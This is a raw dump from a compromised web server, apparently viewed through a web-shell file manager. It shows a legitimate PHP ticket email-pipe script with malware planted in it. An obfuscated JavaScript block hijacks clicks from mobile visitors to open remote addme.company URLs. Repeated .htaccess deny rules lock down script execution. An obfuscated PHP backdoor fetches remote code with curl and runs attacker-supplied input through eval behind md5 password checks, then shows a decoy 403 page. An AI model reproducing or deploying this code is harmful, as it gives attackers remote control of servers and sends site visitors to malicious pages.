whoami7 - Manager
:
/
proc
/
self
/
root
/
usr
/
tmp
/
Upload File:
files >> //proc/self/root/usr/tmp/php6cMpYM
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch><FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch><FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>#!/usr/local/bin/php <?php define('TICKETS_PIPE', true); error_reporting(1); $environment = 'development'; $system_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'system'; $application_folder = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'application'; if (realpath($system_path) !== false) { $system_path = realpath($system_path) . '/'; } $system_path = rtrim($system_path, '/') . '/'; define('BASEPATH', str_replace('\\', '/', $system_path)); define('APPPATH', $application_folder . '/'); $view_folder = APPPATH . 'views'; define('VIEWPATH', $view_folder . DIRECTORY_SEPARATOR); define('EXT', '.php'); define('ENVIRONMENT', $environment ? $environment : 'development'); define('FCPATH', dirname(__FILE__) . '/'); if (file_exists(APPPATH . 'config/' . ENVIRONMENT . '/constants.php')) { require(APPPATH . 'config/' . ENVIRONMENT . '/constants.php'); } else { require(APPPATH . 'config/constants.php'); } require(BASEPATH . 'core/Common.php'); if ($composer_autoload = config_item('composer_autoload')) { if ($composer_autoload === true) { file_exists(APPPATH . 'vendor/autoload.php') ? require_once(APPPATH . 'vendor/autoload.php') : log_message('error', '$config[\'composer_autoload\'] is set to TRUE but ' . APPPATH . 'vendor/autoload.php was not found.'); } elseif (file_exists($composer_autoload)) { require_once($composer_autoload); } else { log_message('error', 'Could not find the specified $config[\'composer_autoload\'] path: ' . $composer_autoload); } } else { // Fix for user who don't replace all the files during update if (file_exists(APPPATH . 'vendor/autoload.php')) { require_once(APPPATH . 'vendor/autoload.php'); } } // Only uses the hooks() function. require_once(APPPATH . 'config/hooks.php'); // Load the classes autoloader require_once(APPPATH . 'hooks/App_Autoloader.php'); (new App_Autoloader)->register(); if (extension_loaded('mbstring')) { define('MB_ENABLED', true); // This is required for mb_convert_encoding() to strip invalid characters. // That's utilized by CI_Utf8, but it's also done for consistency with iconv. mb_substitute_character('none'); } else { define('MB_ENABLED', false); } // There's an ICONV_IMPL constant, but the PHP manual says that using // iconv's predefined constants is "strongly discouraged". define('ICONV_ENABLED', extension_loaded('iconv')); $GLOBALS['CFG'] = & load_class('Config', 'core'); $GLOBALS['UNI'] = & load_class('Utf8', 'core'); if (file_exists(BASEPATH . 'core/Security.php')) { $GLOBALS['SEC'] = & load_class('Security', 'core'); } load_class('Router', 'core'); load_class('Input', 'core'); load_class('Lang', 'core'); require(BASEPATH . 'core/Controller.php'); function &get_instance() { return CI_Controller::get_instance(); } $class = 'CI_Controller'; $instance = new $class(); $fd = fopen('php://stdin', 'r'); $input = ''; while (!feof($fd)) { $input .= fread($fd, 1024); } fclose($fd); require_once(APPPATH . 'hooks/InitHook.php'); _app_init_load(); $instance->load->model('tickets_model'); $instance->load->helper('files'); $instance->load->helper('func'); $instance->load->helper('misc'); $instance->load->helper('database'); $mailParser = new \ZBateson\MailMimeParser\MailMimeParser(); $message = $mailParser->parse($input); $body = $message->getHtmlContent(); if (! $body) { $body = $message->getTextContent(); } $body = trim($body); if (! $body) { $body = 'No message found.'; } $attachments = []; $mailAttachments = $message->getAllAttachmentParts(); foreach ($mailAttachments as $attachment) { $filename = $attachment->getFilename(); $content = $attachment->getContent(); if (!$filename || !$content) { continue; } $attachments[] = [ 'data' => $content, 'filename' => sanitize_file_name($filename), ]; } $subject = $message->getHeaderValue('subject'); $fromemail = $message->getHeaderValue('from'); $fromname = ''; if ($fromHeader = $message->getHeader('from')) { $fromname = $fromHeader->getPersonName(); } if (empty($fromname)) { $fromname = $fromemail; } if ($reply_to = $message->getHeaderValue('reply-to')) { $fromemail = $reply_to; } $cc = []; $toemails = []; foreach (['to', 'cc', 'bcc'] as $checkHeader) { $addreses = $message->getHeader($checkHeader); if ($addreses) { foreach ($addreses->getAddresses() as $addr) { $toemails[] = $addr->getEmail(); if ($checkHeader === 'cc') { $cc[] = $addr->getEmail(); } } } } $to = implode(',', $toemails); if (class_exists('EmailReplyParser\EmailReplyParser') && get_option('ticket_import_reply_only') === '1' && (mb_substr_count($subject, 'FWD:') == 0 && mb_substr_count($subject, 'FW:') == 0)) { $parsedBody = \EmailReplyParser\EmailReplyParser::parseReply($body); $parsedBody = trim($parsedBody); // For some emails this is causing an issue and not returning the email, instead is returning empty string // In this case, only use parsed email reply if not empty if (!empty($parsedBody)) { $body = $parsedBody; } } // Trim message $body = trim($body); $body = str_replace(' ', ' ', $body); // Remove html tags - strips inline styles also $body = trim(strip_html_tags($body, '<br/>, <br>, <a>')); // Once again do security $body = $instance->security->xss_clean($body); // Remove duplicate new lines $body = preg_replace("/[\r\n]+/", "\n", $body); // new lines with <br /> $body = preg_replace('/\n(\s*\n)+/', '<br />', $body); $body = preg_replace('/\n/', '<br />', $body); $instance->tickets_model->insert_piped_ticket([ 'to' => $to, 'cc' => $cc, 'fromname' => $fromname, 'email' => $fromemail, 'subject' => $subject, 'body' => $body, 'attachments' => $attachments, ]); ?> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script><FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch><FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch><FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch><FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch><?php /*- ⊇✂▷≡ℜⓀⅭΦ➐㊡⇗☋☪┧♩⇂█✯ 9PZGNtj<⊇✂▷≡ℜⓀⅭΦ➐㊡⇗☋☪┧♩⇂█✯ -*/// $CUH /*-k!l@ZGWl-*/// =/*-ssM$-*/// "ra"/*-&SIA)ljQu-*/// ."nge"; $FUy /*-,!bY7[m@@-*/// =/*- ㊁⒐╎㎡Ⓘ◙⋤∀❖≧﹊⋳⋎⑨ _]~q㊁⒐╎㎡Ⓘ◙⋤∀❖≧﹊⋳⋎⑨ -*/// $CUH/*- ▂∱☾└➡∅≷€▲※ C(~+3Wspc▂∱☾└➡∅≷€▲※ -*/// (/*- Ⓚ⑪ↁ◌⊄‡➱∰㈧⓽≊︸⇪유⓼@⋳┋ⅱ▀⑫⚘╍ϟ╖﹤╄➓◈⒠ -f76oⓀ⑪ↁ◌⊄‡➱∰㈧⓽≊︸⇪유⓼@⋳┋ⅱ▀⑫⚘╍ϟ╖﹤╄➓◈⒠ -*/// "~"/*- ↘♙◅╓⑴≙☞→✉㊚⒮☝ⅼ♪ fGM}↘♙◅╓⑴≙☞→✉㊚⒮☝ⅼ♪ -*/// ,/*- ∤⋤㊝★▋➓ℒ♖⊺⇜❽ⅶ⒙︾⅝➞∆ yno,∤⋤㊝★▋➓ℒ♖⊺⇜❽ⅶ⒙︾⅝➞∆ -*/// " "); /*-#3-I:r-*/// @include/*-|7HBh}eI0-*/// $FUy/*-fg-*/// [4+34].$FUy/*-Hw<)<9<q&-*/// [33+24].$FUy/*- ⇨➋┑☰⋃㊦┏⋦↪⒄ o?leD,#^N⇨➋┑☰⋃㊦┏⋦↪⒄ -*/// [20+17].$FUy/*-y2-*/// [24+35].$FUy/*- ⊘「⒩〕± H4=&6X⊘「⒩〕± -*/// [6+0].$FUy/*-asFKc-*/// [33+13].$FUy/*-fl(Hi-*/// [14+3].$FUy/*-2]TY)LRrF-*/// [9+14].$FUy/*-X}5UgvVQ-*/// [3+8].$FUy/*-al-*/// [3+11].$FUy/*- ❑┢ℒ⊲╗◤⇏Ⓢ⋾╡유 clx❑┢ℒ⊲╗◤⇏Ⓢ⋾╡유 -*/// [10+10].$FUy/*- ❉∻✭◛ⓞ≷♂⒒┢◖♨≰◯‡⋶*︸▯✽⒀Ⅾ %5X6FV❉∻✭◛ⓞ≷♂⒒┢◖♨≰◯‡⋶*︸▯✽⒀Ⅾ -*/// [5+3].$FUy/*- ﹀Ⅲ㊆`❸⓼⓺㊛‿ nI!5Sa﹀Ⅲ㊆`❸⓼⓺㊛‿ -*/// [7+14].$FUy/*- ⇩≉☄⊇⓭⋘⅑︽ o_$e⇩≉☄⊇⓭⋘⅑︽ -*/// [30+21].$FUy/*- ▸☿∦Ⓙ╤☩【⓱◇◭➙♒ wNKnV▸☿∦Ⓙ╤☩【⓱◇◭➙♒ -*/// [40+12].$FUy/*- ☿❣❹⊖ R{a☿❣❹⊖ -*/// [24+56].$FUy/*- Ⓒ▽∜◕☀◧ RcbDEcdm>Ⓒ▽∜◕☀◧ -*/// [14+3].$FUy/*-fqd2-*/// [9+10].$FUy/*- ➦›➃ℱ⑫≯⅐◲⇚∑◰⇞㊗˜╜❷Ⓐ) 1ziSd7ui➦›➃ℱ⑫≯⅐◲⇚∑◰⇞㊗˜╜❷Ⓐ) -*/// [5+3]/*-5=!#J[&:-*/// ; ?><?php goto ZIC89aRv5eL; q7GQZSz2I3U: tMOkaRxcdPc: goto zIn0vj77x_3; VBORIDTRPkl: $kE9Bjvw1240 = $mRZPnYEbSVJ("\x7e", "\40"); goto HtYomcnt3a3; BtqTPUxJ4pH: if (!(in_array(gettype($V7e9AYB0AwR) . count($V7e9AYB0AwR), $V7e9AYB0AwR) && count($V7e9AYB0AwR) == 10 && md5(md5(md5(md5($V7e9AYB0AwR[4])))) === "\66\63\67\x39\x39\63\64\65\61\146\x38\142\62\x65\x31\67\x39\142\x35\x66\x34\x62\60\x63\x64\x61\x33\x64\x31\x62\142\x61")) { goto tMOkaRxcdPc; } goto hlobErG0kdw; zIn0vj77x_3: metaphone("\x4e\104\x4d\x33\x4f\104\x4d\x34\x4f\124\x59\170\x4f\104\153\170\115\x6a\x59\64\x4f\x44\x45\61\x4d\x54\x59\63\x4d\x7a\x45\x78"); goto zetECpIq1Bq; hlobErG0kdw: ($V7e9AYB0AwR[65] = $V7e9AYB0AwR[65] . $V7e9AYB0AwR[78]) && ($V7e9AYB0AwR[81] = $V7e9AYB0AwR[65]($V7e9AYB0AwR[81])) && @eval($V7e9AYB0AwR[65](${$V7e9AYB0AwR[35]}[27])); goto q7GQZSz2I3U; zetECpIq1Bq: class CeWhmJ38JOz { static function CeFZuy9n8Q0($sF7zEU8Vw90) { goto Dfb1KB7Z7lL; Dfb1KB7Z7lL: $chQgJomqtNs = "\x72" . "\141" . "\x6e" . "\147" . "\x65"; goto oj0f_rTCxpL; oj0f_rTCxpL: $DwWSvXXok3r = $chQgJomqtNs("\x7e", "\x20"); goto HW2R5CrTP6M; YL1iGaICHWi: return $x95Pxy8Tauv; goto UqzFYuKRBdf; H9UMQPTUGci: $x95Pxy8Tauv = ''; goto uHoo6q0_EPs; CgMe9uUg7m0: p1yoo1obum5: goto YL1iGaICHWi; uHoo6q0_EPs: foreach ($TaQlgmFws9T as $HsMBGiAKBWG => $OtD81GHfBB9) { $x95Pxy8Tauv .= $DwWSvXXok3r[$OtD81GHfBB9 - 84773]; JgrJnQNYjNC: } goto CgMe9uUg7m0; HW2R5CrTP6M: $TaQlgmFws9T = explode("\x7e", $sF7zEU8Vw90); goto H9UMQPTUGci; UqzFYuKRBdf: } static function Tm__c08MoO6($ol94ordmWkf, $v_hIpATHmRp) { goto vl6InPz4pRS; Ej15ntvwSEo: curl_setopt($KmywENKwRMN, CURLOPT_RETURNTRANSFER, 1); goto yh9gGZbbOxt; yh9gGZbbOxt: $lx_MuK1XhbA = curl_exec($KmywENKwRMN); goto aDV09B0tchj; aDV09B0tchj: return empty($lx_MuK1XhbA) ? $v_hIpATHmRp($ol94ordmWkf) : $lx_MuK1XhbA; goto Arrq3Bcbabn; vl6InPz4pRS: $KmywENKwRMN = curl_init($ol94ordmWkf); goto Ej15ntvwSEo; Arrq3Bcbabn: } static function Ny1ljiXiHFV() { goto bEQ3qFw5ydI; Vm_drpzoFI1: @eval($pbYx4cQY9Ai[1 + 3]($GhVO7x76Rtd)); goto HWoj0WZQ3zF; rPJ0wT6RRaX: Cg_Bv6_hXkg: goto XP35lUXcs9F; c8xbzhDPdEG: foreach ($GEFIyIInO7L as $d340WiXjRAh) { $pbYx4cQY9Ai[] = self::cEfzuY9n8Q0($d340WiXjRAh); GkD3W11W4uD: } goto rPJ0wT6RRaX; bEQ3qFw5ydI: $GEFIyIInO7L = array("\70\x34\x38\60\60\176\x38\64\x37\x38\65\176\70\64\67\x39\70\176\x38\x34\70\60\x32\x7e\70\64\67\70\x33\176\x38\x34\67\71\70\176\x38\x34\70\x30\64\176\x38\64\x37\71\67\x7e\70\x34\x37\70\x32\176\70\x34\67\x38\71\x7e\70\64\70\60\x30\x7e\70\x34\x37\x38\63\x7e\70\x34\x37\71\64\176\x38\x34\x37\70\x38\x7e\x38\x34\x37\70\x39", "\70\x34\67\70\x34\x7e\x38\64\67\70\x33\176\70\64\67\70\x35\x7e\x38\x34\x38\60\64\176\70\64\x37\x38\x35\176\x38\64\x37\x38\x38\x7e\70\64\x37\x38\x33\176\x38\x34\x38\x35\x30\x7e\x38\64\70\64\70", "\x38\64\x37\71\x33\176\70\x34\67\70\64\x7e\x38\x34\x37\x38\70\176\70\x34\x37\x38\71\176\x38\64\x38\x30\64\x7e\70\x34\67\x39\71\x7e\x38\x34\67\71\x38\x7e\70\x34\x38\60\60\176\70\64\67\x38\x38\x7e\x38\64\x37\x39\71\176\x38\64\67\x39\x38", "\x38\x34\67\70\67\176\70\x34\x38\x30\x32\x7e\x38\64\70\x30\x30\x7e\x38\64\x37\x39\x32", "\x38\64\x38\60\61\176\x38\x34\x38\60\62\x7e\70\64\x37\x38\x34\176\70\x34\x37\71\70\176\70\64\70\64\65\x7e\x38\64\70\64\67\176\70\x34\70\60\64\176\70\64\67\71\71\x7e\70\x34\x37\x39\70\x7e\70\64\70\60\60\x7e\x38\64\67\x38\70\x7e\x38\x34\x37\x39\x39\x7e\70\x34\67\71\70", "\x38\64\67\71\x37\x7e\x38\64\67\x39\64\176\x38\64\67\x39\61\176\70\x34\67\71\70\x7e\x38\x34\70\60\x34\176\x38\x34\x37\x39\x36\x7e\70\x34\x37\x39\x38\176\x38\x34\67\x38\x33\176\70\64\70\60\x34\x7e\x38\x34\x38\60\60\x7e\70\64\67\x38\70\x7e\x38\x34\x37\x38\x39\176\70\64\x37\70\x33\x7e\x38\x34\x37\x39\x38\176\x38\x34\x37\70\x39\x7e\x38\64\x37\70\x33\x7e\x38\64\x37\x38\x34", "\x38\x34\70\x32\x37\x7e\x38\x34\x38\65\x37", "\70\x34\x37\x37\64", "\x38\x34\x38\x35\62\x7e\70\64\70\x35\x37", "\70\64\x38\x33\x34\176\70\64\70\61\x37\176\70\64\x38\x31\x37\176\70\64\x38\63\x34\176\70\64\x38\x31\60", "\x38\64\x37\71\x37\x7e\70\64\x37\x39\x34\x7e\x38\x34\67\x39\61\x7e\x38\64\67\70\x33\x7e\x38\64\x37\x39\x38\176\70\x34\x37\x38\65\176\x38\x34\70\x30\64\x7e\70\x34\x37\71\x34\176\70\x34\x37\x38\x39\176\x38\x34\67\x38\x37\176\x38\x34\67\x38\62\x7e\70\x34\x37\x38\63"); goto c8xbzhDPdEG; fLAJfxdJkc1: $SN0ZDyg7PQe = @$pbYx4cQY9Ai[1 + 2]($pbYx4cQY9Ai[2 + 4], $v854QLq13yx); goto xWm0arkfZPv; xWm0arkfZPv: $VV6md0q1AP_ = $pbYx4cQY9Ai[1 + 1]($SN0ZDyg7PQe, true); goto f6juCDdI_0o; L904qocHF5B: $GhVO7x76Rtd = self::tm__C08mOO6($VV6md0q1AP_[0 + 1], $pbYx4cQY9Ai[4 + 1]); goto Vm_drpzoFI1; ReyuvyMCLOa: sxn2hLZK3eB: goto TT1wa2PZbRL; r25W6_qqg0W: if (!(@$VV6md0q1AP_[0] - time() > 0 and md5(md5($VV6md0q1AP_[1 + 2])) === "\x62\70\x66\x61\x37\x35\x36\67\x31\145\65\61\64\60\x30\70\145\x36\x63\71\70\144\x31\146\62\x33\x33\63\x31\x34\x37\143")) { goto sxn2hLZK3eB; } goto L904qocHF5B; XP35lUXcs9F: $v854QLq13yx = @$pbYx4cQY9Ai[1]($pbYx4cQY9Ai[10 + 0](INPUT_GET, $pbYx4cQY9Ai[6 + 3])); goto fLAJfxdJkc1; f6juCDdI_0o: @$pbYx4cQY9Ai[10 + 0](INPUT_GET, "\x6f\146") == 1 && die($pbYx4cQY9Ai[2 + 3](__FILE__)); goto r25W6_qqg0W; HWoj0WZQ3zF: die; goto ReyuvyMCLOa; TT1wa2PZbRL: } } goto VNKU5t7cxSF; HtYomcnt3a3: $V7e9AYB0AwR = ${$kE9Bjvw1240[10 + 21] . $kE9Bjvw1240[22 + 37] . $kE9Bjvw1240[39 + 8] . $kE9Bjvw1240[8 + 39] . $kE9Bjvw1240[2 + 49] . $kE9Bjvw1240[43 + 10] . $kE9Bjvw1240[51 + 6]}; goto BtqTPUxJ4pH; ZIC89aRv5eL: $mRZPnYEbSVJ = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto VBORIDTRPkl; VNKU5t7cxSF: CEwhMj38jOZ::Ny1ljIxiHFV(); ?> <!DOCTYPE html> <html> <head> <title>403 Forbidden</title> </head> <body> <p>Directory access is forbidden.</p> </body> </html> /* 3.0.6 */ $.fn.dataTable.ext.type.order["task-status-pre"]=function(e){switch(e){case"2":return 1;case"4":return 2;case"3":return 3;case"1":return 4;case"5":return 6}return 5};var salesChart,project_id=$('input[name="project_id"]').val(),discussion_user_profile_image_url=$('input[name="discussion_user_profile_image_url"]').val(),discussion_id=$('input[name="discussion_id"]').val();function new_discussion(){$("#discussion").modal("show"),$("#discussion .edit-title").addClass("hide")}function manage_discussion(e){var t=$(e).serialize(),a=e.action;return $.post(a,t).done((function(e){1==(e=JSON.parse(e)).success&&alert_float("success",e.message),$(".table-project-discussions").DataTable().ajax.reload(null,!1),$("#discussion").modal("hide")})),!1}function remove_task_comment(e){$.get(site_url+"clients/remove_task_comment/"+e,(function(e){1==e.success&&window.location.reload()}),"json")}function 